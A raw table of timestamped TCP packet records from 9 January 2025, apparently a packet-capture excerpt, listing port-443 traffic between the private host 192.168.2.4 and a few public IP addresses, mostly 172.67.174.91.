Jan 9, 2025 14:41:13.249720097 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.249818087 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.249897957 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.249946117 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.250211954 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.250261068 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.250297070 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.250349998 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.250686884 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.250736952 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.250782013 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.250925064 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.250976086 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.253803015 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.253827095 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.253839970 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.253846884 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.608006954 CET	49887	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.608035088 CET	443	49887	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.608208895 CET	49887	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.609183073 CET	49887	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.609194994 CET	443	49887	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:14.073255062 CET	443	49887	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:14.073333979 CET	49887	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:14.074704885 CET	49887	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:14.074719906 CET	443	49887	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:14.075062037 CET	443	49887	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:14.075874090 CET	49887	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:14.075921059 CET	49887	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:14.075963020 CET	443	49887	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:14.393362045 CET	443	49887	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:14.393609047 CET	443	49887	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:14.393678904 CET	49887	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:14.393759012 CET	49887	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:14.393775940 CET	443	49887	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:14.393786907 CET	49887	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:14.393791914 CET	443	49887	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:21.784955978 CET	443	49806	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.785135984 CET	443	49806	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.785271883 CET	49806	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:21.791826963 CET	443	49807	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.791906118 CET	443	49807	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.792016983 CET	49807	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:21.878962994 CET	443	49808	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.879028082 CET	443	49808	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.879160881 CET	49808	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:21.894686937 CET	443	49809	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.894762039 CET	443	49809	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:21.895164967 CET	49809	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:22.101253986 CET	443	49810	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:22.101365089 CET	443	49810	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:22.101443052 CET	49810	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:22.107039928 CET	443	49811	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:22.107135057 CET	443	49811	172.64.41.3	192.168.2.4
Jan 9, 2025 14:41:22.107283115 CET	49811	443	192.168.2.4	172.64.41.3
Jan 9, 2025 14:41:29.598946095 CET	443	49859	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:29.599045992 CET	443	49859	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:29.599123955 CET	49859	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:29.630917072 CET	443	49860	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:29.631037951 CET	443	49860	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:29.632385969 CET	49860	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:29.977117062 CET	49994	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:29.977128983 CET	443	49994	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:29.977261066 CET	49994	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:29.985543013 CET	49994	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:29.985557079 CET	443	49994	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:30.446335077 CET	443	49994	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:30.446429968 CET	49994	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:30.447581053 CET	49994	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:30.447587967 CET	443	49994	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:30.447827101 CET	443	49994	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:30.448822021 CET	49994	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:30.448822021 CET	49994	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:30.448862076 CET	443	49994	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:30.448946953 CET	49994	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:30.448981047 CET	443	49994	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:30.449114084 CET	49994	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:30.449145079 CET	443	49994	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:30.449224949 CET	49994	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:30.449244976 CET	443	49994	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:31.193567038 CET	443	49994	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:31.193650007 CET	443	49994	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:31.193711042 CET	49994	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:31.194894075 CET	49994	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:31.194917917 CET	443	49994	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:31.195003033 CET	49994	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:31.195012093 CET	443	49994	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:31.392090082 CET	50002	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:31.392106056 CET	443	50002	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:31.392443895 CET	50002	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:31.392471075 CET	50002	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:31.392476082 CET	443	50002	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:31.847687960 CET	443	50002	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:31.848159075 CET	50002	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:31.849625111 CET	50002	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:31.849634886 CET	443	50002	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:31.850291014 CET	443	50002	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:31.851269960 CET	50002	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:31.851269960 CET	50002	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:31.851285934 CET	443	50002	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.170078039 CET	443	50002	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.170121908 CET	443	50002	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.170223951 CET	50002	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:32.171340942 CET	50002	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:32.171340942 CET	50002	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:32.171355963 CET	443	50002	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.171365976 CET	443	50002	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.251106977 CET	50008	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:32.251195908 CET	443	50008	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.251444101 CET	50008	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:32.251744032 CET	50008	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:32.251781940 CET	443	50008	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.715296030 CET	443	50008	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.715398073 CET	50008	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:32.716626883 CET	50008	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:32.716639042 CET	443	50008	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.716886997 CET	443	50008	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.717695951 CET	50008	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:32.717725992 CET	50008	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:32.717730045 CET	443	50008	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.953841925 CET	443	50008	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.953902960 CET	443	50008	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.953996897 CET	50008	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:32.954018116 CET	443	50008	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:32.954027891 CET	50008	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:32.954034090 CET	443	50008	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:33.034379005 CET	50012	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:33.034396887 CET	443	50012	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:33.034470081 CET	50012	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:33.034854889 CET	50012	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:33.034868002 CET	443	50012	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:33.518626928 CET	443	50012	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:33.518704891 CET	50012	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:33.520062923 CET	50012	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:33.520080090 CET	443	50012	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:33.520515919 CET	443	50012	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:33.521238089 CET	50012	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:33.521297932 CET	50012	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:33.521306038 CET	443	50012	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:33.829561949 CET	443	50012	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:33.829638958 CET	443	50012	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:33.829765081 CET	50012	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:33.829821110 CET	443	50012	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:33.829843998 CET	50012	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:33.829843998 CET	50012	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:33.829864025 CET	443	50012	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:33.829883099 CET	443	50012	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:34.229649067 CET	50022	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:34.229751110 CET	443	50022	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:34.229953051 CET	50022	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:34.230215073 CET	50022	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:34.230254889 CET	443	50022	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:34.735400915 CET	443	50022	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:34.735491991 CET	50022	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:34.737112999 CET	50022	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:34.737131119 CET	443	50022	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:34.737361908 CET	443	50022	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:34.738306999 CET	50022	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:34.738408089 CET	50022	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:34.738450050 CET	443	50022	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:34.738620043 CET	50022	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:34.738632917 CET	443	50022	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:35.048793077 CET	443	50022	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:35.048861027 CET	443	50022	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:35.048938036 CET	50022	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:35.049118042 CET	50022	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:35.049134016 CET	443	50022	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:35.049199104 CET	50022	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:35.049205065 CET	443	50022	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:35.944613934 CET	50031	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:35.944653988 CET	443	50031	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:35.944719076 CET	50031	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:35.944983959 CET	50031	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:35.944998026 CET	443	50031	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:37.126755953 CET	443	50031	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:37.126827002 CET	50031	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:37.128112078 CET	50031	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:37.128120899 CET	443	50031	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:37.128359079 CET	443	50031	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:37.129240036 CET	50031	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:37.129365921 CET	50031	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:37.129391909 CET	443	50031	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:37.129642963 CET	50031	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:37.129668951 CET	443	50031	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:37.129839897 CET	50031	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:37.129873037 CET	443	50031	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:37.720093012 CET	443	50031	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:37.720149994 CET	443	50031	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:37.720256090 CET	50031	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:37.720520020 CET	50031	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:37.720536947 CET	443	50031	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:37.720597029 CET	50031	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:37.720602989 CET	443	50031	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:37.931032896 CET	50042	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:37.931090117 CET	443	50042	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:37.931164980 CET	50042	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:37.931796074 CET	50042	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:37.931814909 CET	443	50042	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:38.392692089 CET	443	50042	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:38.392877102 CET	50042	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:38.395082951 CET	50042	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:38.395092964 CET	443	50042	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:38.395370007 CET	443	50042	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:38.396572113 CET	50042	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:38.396572113 CET	50042	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:38.396671057 CET	443	50042	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:38.626595974 CET	443	50042	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:38.626653910 CET	443	50042	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:38.626712084 CET	50042	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:38.626885891 CET	50042	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:38.626887083 CET	50042	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:38.626909971 CET	443	50042	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:38.626920938 CET	443	50042	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:43.274665117 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:43.274693012 CET	443	50078	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:43.274844885 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:43.275146008 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:43.275161982 CET	443	50078	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:43.748450994 CET	443	50078	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:43.748533964 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:43.749511957 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:43.749542952 CET	443	50078	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:43.749859095 CET	443	50078	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:43.750502110 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:43.750684023 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:43.750734091 CET	443	50078	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:43.750917912 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:43.750966072 CET	443	50078	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:43.751085997 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:43.751144886 CET	443	50078	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:43.751939058 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:43.751995087 CET	443	50078	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:45.205275059 CET	443	50078	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:45.205332041 CET	443	50078	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:45.205528975 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:45.205528975 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:45.205528975 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:45.205629110 CET	443	50078	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:45.418768883 CET	50086	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:45.418843985 CET	443	50086	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:45.418914080 CET	50086	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:45.419208050 CET	50086	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:45.419239044 CET	443	50086	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:45.520349979 CET	50078	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:45.520422935 CET	443	50078	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:45.890959978 CET	443	50086	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:45.891045094 CET	50086	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:45.892235041 CET	50086	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:45.892249107 CET	443	50086	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:45.892573118 CET	443	50086	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:45.893414974 CET	50086	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:45.893414974 CET	50086	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:45.893457890 CET	443	50086	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:46.203012943 CET	443	50086	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:46.203071117 CET	443	50086	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:46.203171015 CET	50086	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:46.203253984 CET	50086	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:46.203253984 CET	50086	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:46.203304052 CET	443	50086	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:46.203336000 CET	443	50086	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:46.269562006 CET	50093	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:46.269572020 CET	443	50093	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:46.269664049 CET	50093	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:46.269902945 CET	50093	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:46.269916058 CET	443	50093	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:46.727278948 CET	443	50093	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:46.727341890 CET	50093	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:46.728610039 CET	50093	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:46.728621006 CET	443	50093	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:46.728847027 CET	443	50093	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:46.729645967 CET	50093	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:46.729661942 CET	50093	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:46.729670048 CET	443	50093	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:47.045728922 CET	443	50093	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:47.045775890 CET	443	50093	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:47.045833111 CET	50093	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:47.046120882 CET	50093	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:47.046125889 CET	443	50093	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:47.220727921 CET	50100	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:47.220771074 CET	443	50100	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:47.220988035 CET	50100	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:47.221230030 CET	50100	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:47.221245050 CET	443	50100	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:47.697405100 CET	443	50100	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:47.697622061 CET	50100	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:47.698549986 CET	50100	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:47.698565006 CET	443	50100	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:47.698803902 CET	443	50100	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:47.699511051 CET	50100	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:47.699537992 CET	50100	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:47.699542999 CET	443	50100	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:48.022695065 CET	443	50100	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:48.022749901 CET	443	50100	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:48.022847891 CET	50100	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:48.022871017 CET	443	50100	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:48.022896051 CET	50100	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:48.022896051 CET	50100	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:48.022905111 CET	443	50100	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:48.022912979 CET	443	50100	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:48.252199888 CET	50107	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:48.252240896 CET	443	50107	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:48.252513885 CET	50107	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:48.252832890 CET	50107	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:48.252846956 CET	443	50107	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:48.722487926 CET	443	50107	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:48.722573996 CET	50107	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:48.723810911 CET	50107	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:48.723826885 CET	443	50107	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:48.724040031 CET	443	50107	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:48.724745989 CET	50107	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:48.724818945 CET	50107	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:48.724849939 CET	443	50107	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:48.725433111 CET	50107	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:48.725439072 CET	443	50107	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:49.015769005 CET	443	50107	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:49.015827894 CET	443	50107	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:49.015925884 CET	50107	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:49.015948057 CET	443	50107	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:49.015964031 CET	50107	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:49.015969038 CET	443	50107	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:49.015991926 CET	50107	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:49.015995026 CET	443	50107	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:49.813921928 CET	50118	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:49.813962936 CET	443	50118	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:49.814038038 CET	50118	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:49.814318895 CET	50118	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:49.814331055 CET	443	50118	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:50.292836905 CET	443	50118	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:50.292999029 CET	50118	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:50.293915033 CET	50118	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:50.293931007 CET	443	50118	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:50.294261932 CET	443	50118	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:50.294925928 CET	50118	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:50.295048952 CET	50118	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:50.295113087 CET	443	50118	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:50.295337915 CET	50118	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:50.295377970 CET	443	50118	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:50.298690081 CET	50118	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:50.298764944 CET	443	50118	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:50.776470900 CET	443	50118	172.67.174.91	192.168.2.4
